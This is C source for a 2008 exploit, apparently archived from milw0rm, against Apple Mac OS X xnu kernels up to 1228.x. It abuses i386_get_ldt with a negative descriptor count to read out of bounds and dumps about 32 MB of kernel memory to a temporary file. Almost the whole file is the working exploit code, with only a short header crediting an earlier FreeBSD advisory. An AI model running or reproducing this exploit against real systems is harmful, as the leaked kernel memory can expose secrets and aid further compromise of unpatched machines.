76 lines
No EOL
1.8 KiB
C
76 lines
No EOL
1.8 KiB
C
/* xnu-get_ldt.c
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*
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* Copyright (c) 2008 by <mu-b@digit-labs.org>
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*
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* Apple MACOS X xnu <= 1228.x local kernel memory disclosure
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* by mu-b - Wed 17 Dec 2008
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*
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* - Tested on: Apple MACOS X 10.5.5 (xnu-1228.8.20~1/RELEASE_I386)
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*
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* props to christer who originally found the bug in FreeBSD.
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* (ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-05:07.ldt.asc)
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*
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* - Private Source Code -DO NOT DISTRIBUTE -
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* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <architecture/i386/table.h>
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#include <i386/user_ldt.h>
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#include <fcntl.h>
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#include <sys/mman.h>
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#include <string.h>
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#include <unistd.h>
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#define TMP_FILE "/tmp/xnu-get_ldt"
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#define READ_SIZE 0x2000000
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int
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main (int argc, char **argv)
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{
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int fd, n, num_desc;
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void *ptr;
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printf ("Apple MACOS X xnu <= 1228.x local kernel memory disclosure\n"
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"by: <mu-b@digit-labs.org>\n"
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"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
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n = i386_get_ldt (0, ((int)NULL) + 1, 0);
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if (n < 0)
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{
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fprintf (stderr, "failed i386_get_ldt(): %d\n", n);
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return (EXIT_FAILURE);
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}
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num_desc = n;
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printf ("i386_get_ldt: num_desc: %d\n", num_desc);
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fd = open (TMP_FILE, O_CREAT | O_RDWR, S_IRUSR | S_IWUSR);
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if (fd < 0)
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{
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fprintf (stderr, "failed open(): %d\n", fd);
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return (EXIT_FAILURE);
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}
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ptr = mmap (NULL, READ_SIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
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if ((int) ptr == -1)
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{
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fprintf (stderr, "failed mmap()\n");
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return (EXIT_FAILURE);
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}
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memset (ptr, 0x00, READ_SIZE);
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i386_get_ldt (num_desc - 1, (union ldt_entry *) ptr, -(num_desc - 1));
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n = write (fd, ptr, READ_SIZE);
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munmap (ptr, READ_SIZE);
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close (fd);
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printf ("%d-bytes of kernel memory dumped to: %s\n", n, TMP_FILE);
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return (EXIT_SUCCESS);
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}
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// milw0rm.com [2009-02-25]
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